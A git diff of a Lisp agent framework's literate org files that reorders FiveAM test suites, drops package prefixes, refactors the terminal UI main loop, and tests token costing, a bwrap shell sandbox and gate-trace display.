:no-such-model 1000)))) - -(test test-provider-token-cost - "Contract: provider-token-cost maps provider to model price." - (let ((cost (provider-token-cost :deepseek 1000))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-count-tokens-ratio-sensitivity - "Contract 1: longer text produces proportionally more tokens." - (let ((short (count-tokens "hi" :model :gpt-4o-mini)) - (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) - (is (> long short)))) - -(test test-count-tokens-non-string - "Contract 1: non-string values are coerced and counted." - (let ((count (count-tokens 12345))) - (is (> count 0)))) - (in-package :passepartout) (defparameter *model-token-ratios* @@ -144,3 +72,75 @@ Uses the provider's default model for pricing." (if model (token-cost model token-count) 0.0))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-tokenizer-tests + (:use :cl :fiveam :passepartout) + (:export #:tokenizer-suite)) + +(in-package :passepartout-tokenizer-tests) + +(def-suite tokenizer-suite :description "Token counting and cost estimation") +(in-suite tokenizer-suite) + +(test test-count-tokens-default + "Contract 1: count-tokens returns non-zero for a non-empty string." + (let ((count (count-tokens "hello world"))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-known-model + "Contract 1: count-tokens with a known model returns a count." + (let ((count (count-tokens "hello world" :model :gpt-4o-mini))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-unknown-model + "Contract 1: count-tokens with an unknown model falls back to default." + (let ((count (count-tokens "hello world" :model :unknown-model-xyz))) + (is (> count 0)) + (is (integerp count)))) + +(test test-count-tokens-empty + "Contract 1: count-tokens on empty string returns 0." + (let ((count (count-tokens ""))) + (is (= 0 count)))) + +(test test-model-token-ratio-known + "Contract 2: known model returns correct ratio." + (is (= 4.0 (model-token-ratio :gpt-4o-mini))) + (is (= 4.5 (model-token-ratio :claude-3-5-sonnet))) + (is (= 3.5 (model-token-ratio :llama-3.1-70b)))) + +(test test-model-token-ratio-unknown + "Contract 2: unknown model returns default ratio." + (is (= 4.0 (model-token-ratio :unknown-model-abc)))) + +(test test-token-cost-known + "Contract 3: token-cost returns a number for known model." + (let ((cost (token-cost :gpt-4o-mini 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-token-cost-unknown + "Contract 3: token-cost returns 0.0 for unknown model." + (is (= 0.0 (token-cost :no-such-model 1000)))) + +(test test-provider-token-cost + "Contract: provider-token-cost maps provider to model price." + (let ((cost (provider-token-cost :deepseek 1000))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-count-tokens-ratio-sensitivity + "Contract 1: longer text produces proportionally more tokens." + (let ((short (count-tokens "hi" :model :gpt-4o-mini)) + (long (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini))) + (is (> long short)))) + +(test test-count-tokens-non-string + "Contract 1: non-string values are coerced and counted." + (let ((count (count-tokens 12345))) + (is (> count 0)))) diff --git a/org/channel-cli.org b/org/channel-cli.org index 83141d6..010b41e 100644 --- a/org/channel-cli.org +++ b/org/channel-cli.org @@ -12,6 +12,31 @@ The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout o with ~:source :CLI~ and injects into the pipeline via ~stimulus-inject~. +* Implementation + +** Package Context +#+begin_src lisp +(in-package :passepartout) +#+end_src + +** CLI Command Handling +;; REPL-VERIFIED: 2026-05-03T13:00:00 +#+begin_src lisp +(defun channel-cli-input (text) + "Processes raw text from the command line." + (stimulus-inject (list :type :EVENT + :payload (list :sensor :user-input :text text) + :meta (list :source :CLI)))) +#+end_src + +** Skill Registration +#+begin_src lisp +(defskill :passepartout-channel-cli + :priority 100 + :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) + :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) +#+end_src + * Test Suite #+begin_src lisp @@ -44,30 +69,4 @@ depending on FiveAM macro resolution in the jailed package. (handler-case (progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK")) (error (c) (log-message "CLI: Load-time test FAILED: ~a" c))) -#+end_src - -* Implementation - -** Package Context -#+begin_src lisp -(in-package :passepartout) -#+end_src - -** CLI Command Handling -;; REPL-VERIFIED: 2026-05-03T13:00:00 -#+begin_src lisp -(defun channel-cli-input (text) - "Processes raw text from the command line." - (stimulus-inject (list :type :EVENT - :payload (list :sensor :user-input :text text) - :meta (list :source :CLI)))) -#+end_src - -** Skill Registration -#+begin_src lisp -(defskill :passepartout-channel-cli - :priority 100 - :trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI)) - :deterministic (lambda (action ctx) (declare (ignore ctx)) action)) -#+end_src - +#+end_src \ No newline at end of file diff --git a/org/channel-shell.org b/org/channel-shell.org index aa261fe..0f5ec03 100644 --- a/org/channel-shell.org +++ b/org/channel-shell.org @@ -26,41 +26,6 @@ Because shell execution is the highest-risk operation in the system, the Shell A command through the sandbox. When ~bwrap~ is unavailable, falls back to the existing ~timeout bash -c~ behavior. -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-shell-actuator-tests - (:use :cl :fiveam :passepartout) - (:export #:shell-actuator-suite)) - -(in-package :passepartout-shell-actuator-tests) - -(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") -(in-suite shell-actuator-suite) - -(test test-bwrap-wrap-command - "Contract 2: bwrap-wrap-command returns properly formatted command list." - (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) - (is (member "bwrap" cmdline :test #'string=)) - (is (member "--unshare-net" cmdline :test #'string=)) - (is (member "--unshare-ipc" cmdline :test #'string=)) - (is (member "echo hello" cmdline :test #'string=)))) - -(test test-bwrap-available-p-returns-boolean - "Contract 1: bwrap-available-p returns T or NIL." - (let ((avail (passepartout::bwrap-available-p))) - (is (typep avail 'boolean)))) - -(test test-actuator-shell-execute-echo - "Contract 3: actuator-shell-execute runs echo and returns output." - (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) - (result (passepartout::actuator-shell-execute action nil))) - (is (stringp result)) - (is (search "hello" result :test #'char-equal)))) -#+end_src - * Implementation ** Shell Execution (actuator-shell-execute) @@ -134,3 +99,37 @@ When bwrap is available, wraps the command in a Linux namespace sandbox." :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-shell-actuator-tests + (:use :cl :fiveam :passepartout) + (:export #:shell-actuator-suite)) + +(in-package :passepartout-shell-actuator-tests) + +(def-suite shell-actuator-suite :description "Verification of the Shell Actuator") +(in-suite shell-actuator-suite) + +(test test-bwrap-wrap-command + "Contract 2: bwrap-wrap-command returns properly formatted command list." + (let ((cmdline (passepartout::bwrap-wrap-command "echo hello" 30 "/home/user/memex"))) + (is (member "bwrap" cmdline :test #'string=)) + (is (member "--unshare-net" cmdline :test #'string=)) + (is (member "--unshare-ipc" cmdline :test #'string=)) + (is (member "echo hello" cmdline :test #'string=)))) + +(test test-bwrap-available-p-returns-boolean + "Contract 1: bwrap-available-p returns T or NIL." + (let ((avail (passepartout::bwrap-available-p))) + (is (typep avail 'boolean)))) + +(test test-actuator-shell-execute-echo + "Contract 3: actuator-shell-execute runs echo and returns output." + (let* ((action '(:type :REQUEST :target :shell :payload (:cmd "echo hello"))) + (result (passepartout::actuator-shell-execute action nil))) + (is (stringp result)) + (is (search "hello" result :test #'char-equal)))) +#+end_src \ No newline at end of file diff --git a/org/channel-tui-main.org b/org/channel-tui-main.org index c1e5da0..4b0ae97 100644 --- a/org/channel-tui-main.org +++ b/org/channel-tui-main.org @@ -432,7 +432,7 @@ if the user reopens it within the same session. State is per-session only ;; /tags command — tag stack ;; /tags command — tag stack ((string-equal text "/tags") - (let ((cats passepartout::*tag-categories*)) + (let ((cats *tag-categories*)) (if cats (dolist (entry cats) (add-msg :system (format nil "~a: ~a" (car entry) (cdr entry)))) @@ -442,8 +442,8 @@ if the user reopens it within the same session. State is per-session only (let* ((msg-count (length (st :messages))) (focus (or (st :foveal-id) "none")) (id-tokens (min 200 (floor (+ 150 (length (or (st :focus-scope) ""))) 4))) - (tool-tokens (if (boundp 'passepartout::*cognitive-tool-registry*) - (floor (* (hash-table-count passepartout::*cognitive-tool-registry*) 40) 4) + (tool-tokens (if (boundp '*cognitive-tool-registry*) + (floor (* (hash-table-count *cognitive-tool-registry*) 40) 4) 50)) (log-tokens (min 4000 (floor (* msg-count 60) 4))) (overhead-tokens 200) @@ -459,14 +459,14 @@ if the user reopens it within the same session. State is per-session only ;; /context why — debug node ((and (>= (length text) 13) (string-equal (subseq text 0 13) "/context why ")) (let ((node-id (string-trim '(#\Space) (subseq text 13)))) - (if (fboundp 'passepartout::memory-object-get) - (let ((obj (funcall 'passepartout::memory-object-get node-id))) + (if (fboundp 'memory-object-get) + (let ((obj (funcall 'memory-object-get node-id))) (if obj (add-msg :system (format nil "Node ~a: type=~a scope=~a version=~a" node-id - (passepartout::memory-object-type obj) - (passepartout::memory-object-scope obj) - (passepartout::memory-object-version obj))) + (memory-object-type obj) + (memory-object-scope obj) + (memory-object-version obj))) (add-msg :system (format nil "Node ~a not found" node-id)))) (add-msg :system "Memory not available")))) ;; /context dropped — pruned nodes @@ -498,18 +498,18 @@ if the user reopens it within the same session. State is per-session only (let* ((n-str (string-trim '(#\Space) (subseq text 8))) (n (handler-case (parse-integer n-str) (error () nil)))) (if n - (if (fboundp 'passepartout::rollback-memory) + (if (fboundp 'rollback-memory) (let* ((idx (1- n)) - (snaps passepartout::*memory-snapshots*) + (snaps *memory-snapshots*) (ts (when (< idx (length snaps)) (getf (nth idx snaps) :timestamp)))) - (funcall 'passepartout::rollback-memory idx) + (funcall 'rollback-memory idx) (add-msg :system (format nil "Rewound ~d turn~:p~@[ (~a)~]" n ts))) (add-msg :system "Memory rollback not available")) (add-msg :system "Usage: /rewind ")))) ;; /sessions command — list snapshots ((string-equal text "/sessions") - (let ((snaps passepartout::*memory-snapshots*)) + (let ((snaps *memory-snapshots*)) (if snaps (let ((shown (subseq snaps 0 (min 10 (length snaps))))) (add-msg :system (format nil "~d snapshots (showing ~d):" @@ -528,19 +528,19 @@ if the user reopens it within the same session. State is per-session only (maphash (lambda (k v) (declare (ignore k)) (when v (incf count) - (when (passepartout::memory-object-hash v) + (when (memory-object-hash v) (incf hashed)))) - passepartout::*memory-store*) + *memory-store*) (add-msg :system (format nil "Audit: ~d objects, ~d hashed, ~d snapshots" count hashed - (length passepartout::*memory-snapshots*))))) + (length *memory-snapshots*))))) ;; /resume — resume from snapshot ((and (>= (length text) 8) (string-equal (subseq text 0 8) "/resume ")) (let* ((n-str (string-trim '(#\Space) (subseq text 8))) (n (handler-case (parse-integer n-str) (error () nil)))) (if n - (if (fboundp 'passepartout::rollback-memory) - (progn (funcall 'passepartout::rollback-memory (1- n)) + (if (fboundp 'rollback-memory) + (progn (funcall 'rollback-memory (1- n)) (add-msg :system (format nil "Resumed from snapshot ~d" n))) (add-msg :system "Memory rollback not available")) (add-msg :system "Usage: /resume ")))) @@ -1202,23 +1202,20 @@ if the user reopens it within the same session. State is per-session only ** Main Loop #+begin_src lisp -(defun tui-main () - (init-state) - (load-history) - (theme-load) - (with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil) - (let* ((h (or (height scr) 24)) - (w (or (width scr) 80)) - (sidebar-w (when (>= w 120) - (make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44)))) - (content-w (if sidebar-w (- w 44) (- w 2))) - (ch (- h 5)) - (sw (make-instance 'window :height 3 :width content-w :y 0 :x 1)) - (cw (make-instance 'window :height ch :width content-w :y 3 :x 1)) - (iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1)) - (swank-port (or (ignore-errors - (parse-integer (uiop:getenv "TUI_SWANK_PORT"))) - 4006))) +(defun tui-run-screen (scr) + "The full TUI event loop. Called from tui-main inside with-screen." + (let* ((h (or (height scr) 24)) + (w (or (width scr) 80)) + (sidebar-w (when (>= w 120) + (make-instance 'window :height (- h 5) :width 42 :y 3 :x (- w 44)))) + (content-w (if sidebar-w (- w 44) (- w 2))) + (ch (- h 5)) + (sw (make-instance 'window :height 3 :width content-w :y 0 :x 1)) + (cw (make-instance 'window :height ch :width content-w :y 3 :x 1)) + (iw (make-instance 'window :height 1 :width content-w :y (- h 1) :x 1)) + (swank-port (or (ignore-errors + (parse-integer (uiop:getenv "TUI_SWANK_PORT"))) + 4006))) (setf (function-keys-enabled-p iw) t (input-blocking iw) nil (st :dirty) (list t t t) @@ -1330,7 +1327,14 @@ if the user reopens it within the same session. State is per-session only (close wizard-win))) (refresh scr) (sleep 0.03)) - (disconnect-daemon))))) + (disconnect-daemon)))) + +(defun tui-main () + (init-state) + (load-history) + (theme-load) + (with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil) + (tui-run-screen scr))) #+end_src diff --git a/org/channel-tui-view.org b/org/channel-tui-view.org index 9f05a19..edc25cb 100644 --- a/org/channel-tui-view.org +++ b/org/channel-tui-view.org @@ -218,7 +218,7 @@ that the TUI actuator attaches to the response plist before transmission. (search-highlight content (st :search-query)) content)) (line-text (format nil "~a [~a] ~a" prefix time content-show)) - (wrapped (passepartout::word-wrap line-text (- w 2))) + (wrapped (word-wrap line-text (- w 2))) (nlines (length wrapped))) (if (<= nlines lines-remaining) (progn (decf lines-remaining nlines) (incf msg-count)) @@ -240,7 +240,7 @@ that the TUI actuator attaches to the response plist before transmission. (search-highlight content (st :search-query)) content)) (line-text (format nil "~a [~a] ~a" prefix time content-show)) - (wrapped (passepartout::word-wrap line-text (- w 2)))) + (wrapped (word-wrap line-text (- w 2)))) ;; HITL panel: render with colored border (when is-panel (setf color (if is-resolved @@ -257,7 +257,7 @@ that the TUI actuator attaches to the response plist before transmission. ;; v0.7.2: gate trace below agent messages (let ((gate-trace (getf msg :gate-trace))) (when (and gate-trace (not (member i (st :collapsed-gates)))) - (dolist (entry (passepartout::gate-trace-lines gate-trace)) + (dolist (entry (gate-trace-lines gate-trace)) (when (< y (1- h)) (add-string win (car entry) :y y :x 3 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) :dim)) (incf y)))))))))) @@ -304,43 +304,43 @@ that the TUI actuator attaches to the response plist before transmission. (test test-char-width-ascii "Contract 5: ASCII characters (< 128) have width 1." - (is (= 1 (passepartout::char-width #\a))) - (is (= 1 (passepartout::char-width #\Space))) - (is (= 1 (passepartout::char-width #\@)))) + (is (= 1 (char-width #\a))) + (is (= 1 (char-width #\Space))) + (is (= 1 (char-width #\@)))) (test test-char-width-tab "Contract 5: tab character has width 8." - (is (= 8 (passepartout::char-width #\Tab)))) + (is (= 8 (char-width #\Tab)))) (test test-char-width-cjk "Contract 5: CJK characters have width 2." - (is (= 2 (passepartout::char-width #\日)))) + (is (= 2 (char-width #\日)))) (test test-char-width-null "Contract 5: null has width 0." - (is (= 0 (passepartout::char-width #\Nul)))) + (is (= 0 (char-width #\Nul)))) (test test-markdown-bold "Contract 7: parse-markdown-spans detects **bold**." - (let ((segments (passepartout::parse-markdown-spans "hello **world**!"))) + (let ((segments (parse-markdown-spans "hello **world**!"))) (is (= 3 (length segments))))) (test test-markdown-plain "Contract 7: plain text returns single segment." - (let ((segments (passepartout::parse-markdown-spans "plain"))) + (let ((segments (parse-markdown-spans "plain"))) (is (= 1 (length segments))) (is (string= "plain" (caar segments))))) (test test-markdown-url "Contract 7: parse-markdown-spans detects URLs." - (let ((segments (passepartout::parse-markdown-spans "see https://example.com for more"))) + (let ((segments (parse-markdown-spans "see https://example.com for more"))) (is (>= (length segments) 2)) (is (find t segments :key (lambda (s) (getf (cdr s) :url)))))) (test test-markdown-blocks "Contract 8: parse-markdown-blocks detects code blocks." (let* ((text (format nil "before~%```lisp~%(+ 1 2)~%```~%after")) - (segs (passepartout::parse-markdown-blocks text))) + (segs (parse-markdown-blocks text))) (is (= 3 (length segs))) (let ((code (second segs))) (is (eq t (getf code :code-block))) @@ -350,44 +350,44 @@ that the TUI actuator attaches to the response plist before transmission. (test test-markdown-blocks-no-close "Contract 8: unclosed code block returns content." (let* ((text (format nil "```~%unclosed code")) - (segs (passepartout::parse-markdown-blocks text))) + (segs (parse-markdown-blocks text))) (is (= 1 (length segs))) (is (eq t (getf (first segs) :code-block))))) (test test-syntax-highlight "Contract 9: syntax-highlight colors Lisp code." - (let ((segs (passepartout::syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) + (let ((segs (syntax-highlight "(defun foo (x) (+ x 1))" "lisp"))) (is (>= (length segs) 3)))) (test test-syntax-highlight-keyword "Contract 9: syntax-highlight colors keywords." - (let ((segs (passepartout::syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) + (let ((segs (syntax-highlight "(let ((x 1)) (+ x 2))" "lisp"))) (is (>= (length segs) 2)) (is (find :keyword segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) (test test-syntax-highlight-function "Contract 9: syntax-highlight colors function calls." - (let ((segs (passepartout::syntax-highlight "(+ 1 2)" "lisp"))) + (let ((segs (syntax-highlight "(+ 1 2)" "lisp"))) (is (>= (length segs) 2)) (is (find :function segs :key (lambda (s) (getf (cdr s) :fgcolor)))))) (test test-gate-trace-lines-passed "Contract 9: gate-trace-lines for passed gate." - (let ((lines (passepartout::gate-trace-lines + (let ((lines (gate-trace-lines '((:gate "path" :result :passed))))) (is (= 1 (length lines))) (is (eq :gate-passed (getf (cdar lines) :fgcolor))))) (test test-gate-trace-lines-blocked "Contract 9: gate-trace-lines for blocked gate." - (let ((lines (passepartout::gate-trace-lines + (let ((lines (gate-trace-lines '((:gate "shell" :result :blocked :reason "rm"))))) (is (= 1 (length lines))) (is (search "rm" (caar lines))))) (test test-gate-trace-lines-approval "Contract 9: gate-trace-lines for approval gate." - (let ((lines (passepartout::gate-trace-lines + (let ((lines (gate-trace-lines '((:gate "network" :result :approval))))) (is (= 1 (length lines))) (is (search "HITL" (caar lines))))) @@ -401,7 +401,7 @@ that the TUI actuator attaches to the response plist before transmission. * Implementation — v0.7.0 additions #+begin_src lisp -(in-package :passepartout) +(in-package :passepartout.channel-tui) (defun char-width (ch) "Returns the terminal column width of character CH. @@ -456,7 +456,7 @@ Respects CJK/emoji char widths via char-width." * v0.7.1 — Markdown Rendering #+begin_src lisp -(in-package :passepartout) +(in-package :passepartout.channel-tui) (defun parse-markdown-spans (text) "Parse inline markdown. Returns list of (text . (:bold/:underline/:code/:url ...))." @@ -505,12 +505,17 @@ Respects CJK/emoji char widths via char-width." (bold (getf attrs :bold)) (code (getf attrs :code)) (underline (getf attrs :underline)) - (url (getf attrs :url))) + (url (getf attrs :url)) + (style-bits (append (when bold '(:bold)) + (when underline '(:underline))))) + (when style-bits + (add-attributes win (get-bitmask style-bits))) (add-string win text :y y :x x :n (max 1 (- w x)) - :bold bold :underline underline - :bgcolor (when code (theme-color :dim)) - :fgcolor (cond (url (theme-color :highlight)) - (t (theme-color (or (getf attrs :role) :agent))))) + :bgcolor (when code (theme-color :dim)) + :fgcolor (cond (url (theme-color :highlight)) + (t (theme-color (or (getf attrs :role) :agent))))) + (when style-bits + (remove-attributes win (get-bitmask style-bits))) (incf x (length text)))) y) @@ -579,7 +584,7 @@ Respects CJK/emoji char widths via char-width." * v0.7.2 — Gate Trace #+begin_src lisp -(in-package :passepartout) +(in-package :passepartout.channel-tui) (defun gate-trace-lines (trace) "Convert gate-trace plist to display lines." @@ -590,10 +595,10 @@ Respects CJK/emoji char widths via char-width." (reason (getf entry :reason)) (name (or gate "unknown")) (color (case result - (:passed :gate-passed) - (:blocked :gate-blocked) - (:approval :gate-approval) - (t :dim))) + (:passed (theme-color :gate-passed)) + (:blocked (theme-color :gate-blocked)) + (:approval (theme-color :gate-approval)) + (t (theme-color :dim)))) (prefix (case result (:passed " ✓ ") (:blocked " ✗ ") @@ -614,7 +619,8 @@ Respects CJK/emoji char widths via char-width." (defun view-sidebar (win) "Render 42-column sidebar with 7 panels: Gate Trace, Focus, Rules, Context, Files, Cost, Protection." (clear win) - (box win (theme-color :border) (theme-color :background)) + (setf (color-pair win) (list (theme-color :border) (theme-color :background))) + (box win 0 0) (let* ((w (or (width win) 42)) (h (or (height win) 24)) (y 1) @@ -629,7 +635,7 @@ Respects CJK/emoji char widths via char-width." (add-string win "── Gate Trace ──" :y y :x 1 :n (- w 2) :fgcolor (theme-color :accent)) (incf y) (if gate-trace - (dolist (entry (passepartout::gate-trace-lines gate-trace)) + (dolist (entry (gate-trace-lines gate-trace)) (when (< y (1- h)) (add-string win (car entry) :y y :x 2 :n (- w 4) :fgcolor (or (getf (cdr entry) :fgcolor) (theme-color :dim))) @@ -723,7 +729,8 @@ Respects CJK/emoji char widths via char-width." (defun view-palette (win) "Render centered command palette overlay with filtered items, selection highlight." (clear win) - (box win (theme-color :border) (theme-color :background)) + (setf (color-pair win) (list (theme-color :border) (theme-color :background))) + (box win 0 0) (let* ((w (or (width win) 50)) (h (or (height win) 20)) (y 1) @@ -766,7 +773,8 @@ Respects CJK/emoji char widths via char-width." (defun view-wizard (win) "Render setup wizard overlay: step title, prompt, input, error, progress." (clear win) - (box win (theme-color :border) (theme-color :background)) + (setf (color-pair win) (list (theme-color :border) (theme-color :background))) + (box win 0 0) (let* ((w (or (width win) 60)) (h (or (height win) 15)) (y 1) diff --git a/org/core-act.org b/org/core-act.org index a962474..2266f4d 100644 --- a/org/core-act.org +++ b/org/core-act.org @@ -38,132 +38,6 @@ Because a skill's deterministic gate runs during Reason, but between Reason and ~fboundp~-guarded; missing skills produce nil. Called from the ~:tui~ actuator lambda. -* Test Suite -Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-pipeline-act-tests - (:use :cl :fiveam :passepartout) - (:export #:pipeline-act-suite)) - -(in-package :passepartout-pipeline-act-tests) - -(def-suite pipeline-act-suite :description "Test suite for Act pipeline") -(in-suite pipeline-act-suite) - -(test test-loop-gate-act-basic - "Contract 1: approved action reaches :acted status via loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) - (result (loop-gate-act signal))) - (is (eq :acted (getf signal :status))) - (is (null result)))) - -(test test-loop-gate-act-no-approved-action - "Contract 1: signal with no approved-action still reaches :acted status." - (clrhash passepartout::*skill-registry*) - (let* ((signal (list :type :EVENT :status nil :depth 0))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))))) - -(test test-loop-gate-act-last-mile-reject - "Contract 1: last-mile cognitive-verify rejection blocks approved-action." - (clrhash passepartout::*skill-registry*) - (passepartout::defskill :mock-blocker - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) t) - :deterministic (lambda (action ctx) - (declare (ignore ctx action)) - (list :type :LOG :payload (list :text "Last-mile block")))) - (let* ((signal (list :type :EVENT :status nil :depth 0 - :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) - (loop-gate-act signal) - (is (eq :acted (getf signal :status))) - (is (null (getf signal :approved-action))))) - -(test test-loop-gate-act-preserves-meta - "Contract 1: signal metadata is not mutated by loop-gate-act." - (clrhash passepartout::*skill-registry*) - (let* ((meta '(:source :tui :session "s1")) - (signal (list :type :EVENT :status nil :depth 0 :meta meta - :approved-action '(:target :cli :payload (:text "test"))))) - (loop-gate-act signal) - (is (equal meta (getf signal :meta))))) - -(test test-action-dispatch-routes - "Contract 3: action-dispatch routes to registered actuators without crashing." - (actuator-initialize) - (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) - '(:type :EVENT :depth 0)))) - (is (numberp result) "eval should return a number"))) - -(test test-tool-timeout-shell - "Contract v0.7.2: shell timeout is 300 seconds." - (is (= 300 (passepartout::tool-timeout "shell")))) - -(test test-tool-timeout-unknown - "Contract v0.7.2: unknown tool gets default 120s." - (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) - -(test test-verify-write-match - "Contract v0.7.2: verify-write returns T on match." - (let ((path "/tmp/passepartout-verify-test.org") - (content "test content")) - (with-open-file (f path :direction :output :if-exists :supersede) - (write-string content f)) - (unwind-protect - (is (passepartout::verify-write path content)) - (ignore-errors (delete-file path))))) - -(test test-tool-timeout-enforcement - "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." - (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) - (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "sleep-forever" - :read-only-p nil - :body (lambda (args) - (declare (ignore args)) - (sleep 10) - "done"))) - (unwind-protect - (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) - (ctx '(:depth 0)) - (result (passepartout::action-tool-execute action ctx))) - (is (eq :EVENT (getf result :TYPE))) - (let ((payload (getf result :PAYLOAD))) - (is (eq :tool-error (getf payload :SENSOR))) - (is (search "timed out" (string-downcase (getf payload :MESSAGE)))))) - (remhash "sleep-forever" passepartout::*cognitive-tool-registry*) - (remhash "sleep-forever" passepartout::*tool-timeouts*))) - -(test test-tool-cache-read-only - "Contract v0.7.2: read-only tool results are cached and reused." - (let ((call-count 0)) - (setf (gethash "cache-test" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "cache-test" - :read-only-p t - :body (lambda (args) - (declare (ignore args)) - (incf call-count) - (list :status :success :content (format nil "call ~d" call-count))))) - (unwind-protect - (progn - (clrhash passepartout::*tool-cache*) - (let* ((action '(:type :REQUEST :payload (:tool "cache-test" :args nil))) - (ctx '(:depth 0)) - (r1 (passepartout::action-tool-execute action ctx)) - (r2 (passepartout::action-tool-execute action ctx))) - (is (= 1 call-count) "Second call should hit cache, not re-execute") - (let ((p1 (getf r1 :PAYLOAD)) - (p2 (getf r2 :PAYLOAD))) - (is (string= (getf (getf p1 :RESULT) :CONTENT) - (getf (getf p2 :RESULT) :CONTENT)))))) - (remhash "cache-test" passepartout::*cognitive-tool-registry*) - (clrhash passepartout::*tool-cache*)))) -#+end_src - * Implementation ** Package Context @@ -527,3 +401,128 @@ uses the old name can call this alias. New code should call (loop-gate-act signal)) #+end_src +* Test Suite +Verifies that the act gate correctly processes an approved action and sets the signal status to ~:acted~. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-pipeline-act-tests + (:use :cl :fiveam :passepartout) + (:export #:pipeline-act-suite)) + +(in-package :passepartout-pipeline-act-tests) + +(def-suite pipeline-act-suite :description "Test suite for Act pipeline") +(in-suite pipeline-act-suite) + +(test test-loop-gate-act-basic + "Contract 1: approved action reaches :acted status via loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello")))) + (result (loop-gate-act signal))) + (is (eq :acted (getf signal :status))) + (is (null result)))) + +(test test-loop-gate-act-no-approved-action + "Contract 1: signal with no approved-action still reaches :acted status." + (clrhash passepartout::*skill-registry*) + (let* ((signal (list :type :EVENT :status nil :depth 0))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))))) + +(test test-loop-gate-act-last-mile-reject + "Contract 1: last-mile cognitive-verify rejection blocks approved-action." + (clrhash passepartout::*skill-registry*) + (passepartout::defskill :mock-blocker + :priority 50 + :trigger (lambda (ctx) (declare (ignore ctx)) t) + :deterministic (lambda (action ctx) + (declare (ignore ctx action)) + (list :type :LOG :payload (list :text "Last-mile block")))) + (let* ((signal (list :type :EVENT :status nil :depth 0 + :approved-action '(:type :REQUEST :target :cli :payload (:text "blocked"))))) + (loop-gate-act signal) + (is (eq :acted (getf signal :status))) + (is (null (getf signal :approved-action))))) + +(test test-loop-gate-act-preserves-meta + "Contract 1: signal metadata is not mutated by loop-gate-act." + (clrhash passepartout::*skill-registry*) + (let* ((meta '(:source :tui :session "s1")) + (signal (list :type :EVENT :status nil :depth 0 :meta meta + :approved-action '(:target :cli :payload (:text "test"))))) + (loop-gate-act signal) + (is (equal meta (getf signal :meta))))) + +(test test-action-dispatch-routes + "Contract 3: action-dispatch routes to registered actuators without crashing." + (actuator-initialize) + (let ((result (action-dispatch '(:type :REQUEST :target :system :payload (:action :eval :code "(+ 1 2)")) + '(:type :EVENT :depth 0)))) + (is (numberp result) "eval should return a number"))) + +(test test-tool-timeout-shell + "Contract v0.7.2: shell timeout is 300 seconds." + (is (= 300 (passepartout::tool-timeout "shell")))) + +(test test-tool-timeout-unknown + "Contract v0.7.2: unknown tool gets default 120s." + (is (= 120 (passepartout::tool-timeout "nonexistent-tool")))) + +(test test-verify-write-match + "Contract v0.7.2: verify-write returns T on match." + (let ((path "/tmp/passepartout-verify-test.org") + (content "test content")) + (with-open-file (f path :direction :output :if-exists :supersede) + (write-string content f)) + (unwind-protect + (is (passepartout::verify-write path content)) + (ignore-errors (delete-file path))))) + +(test test-tool-timeout-enforcement + "Contract v0.7.2: tool exceeding timeout returns :error with timeout message." + (setf (gethash "sleep-forever" passepartout::*tool-timeouts*) 1) + (setf (gethash "sleep-forever" passepartout::*cognitive-tool-registry*) + (passepartout::make-cognitive-tool :name "sleep-forever" + :read-only-p nil + :body (lambda (args) + (declare (ignore args)) + (sleep 10) + "done"))) + (unwind-protect + (let* ((action '(:type :REQUEST :payload (:tool "sleep-forever" :args nil))) + (ctx '(:depth 0)) + (result (passepartout::action-tool-execute action ctx))) + (is (eq :EVENT (getf result :TYPE))) + (let ((payload (getf result :PAYLOAD))) + (is (eq :tool-error (getf payload 